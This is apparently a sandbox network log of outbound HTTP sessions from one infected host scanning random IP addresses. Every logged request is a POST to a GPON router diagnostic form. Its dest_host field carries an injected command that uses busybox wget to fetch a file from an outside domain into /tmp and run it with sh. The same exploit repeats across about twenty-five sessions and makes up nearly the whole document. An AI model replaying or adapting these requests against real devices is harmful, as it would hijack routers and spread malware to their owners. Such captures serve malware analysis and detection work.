Apr 14, 2024 04:01:53.438301086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2591	192.168.2.13	47060	148.178.56.170	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438322067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2592	192.168.2.13	54232	148.247.107.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438354969 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2593	192.168.2.13	58056	79.244.3.175	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438391924 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2594	192.168.2.13	55386	2.19.21.151	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438424110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2595	192.168.2.13	44612	42.112.110.18	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438445091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2596	192.168.2.13	45882	178.145.166.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438469887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2597	192.168.2.13	33850	109.33.194.186	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438499928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2598	192.168.2.13	37126	94.129.218.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438527107 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2599	192.168.2.13	42062	117.84.96.14	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438549042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2600	192.168.2.13	38070	212.255.53.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438580990 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2601	192.168.2.13	45168	37.184.76.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438616037 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2602	192.168.2.13	51492	37.60.237.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438653946 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2603	192.168.2.13	58116	117.237.24.80	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438684940 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2604	192.168.2.13	47548	210.75.135.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438700914 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2605	192.168.2.13	37152	109.33.85.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438718081 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2606	192.168.2.13	39020	109.174.231.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438764095 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2607	192.168.2.13	56322	117.204.222.217	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438785076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2608	192.168.2.13	57608	2.157.236.247	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438821077 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2609	192.168.2.13	37586	94.160.106.62	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438863039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2610	192.168.2.13	35782	118.154.162.197	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438891888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2611	192.168.2.13	52892	5.55.192.9	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438921928 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2612	192.168.2.13	34642	212.242.243.195	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438942909 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2613	192.168.2.13	56968	117.125.75.68	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.438991070 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2614	192.168.2.13	57164	123.69.205.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439017057 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2615	192.168.2.13	32954	212.92.94.117	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:53.439045906 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

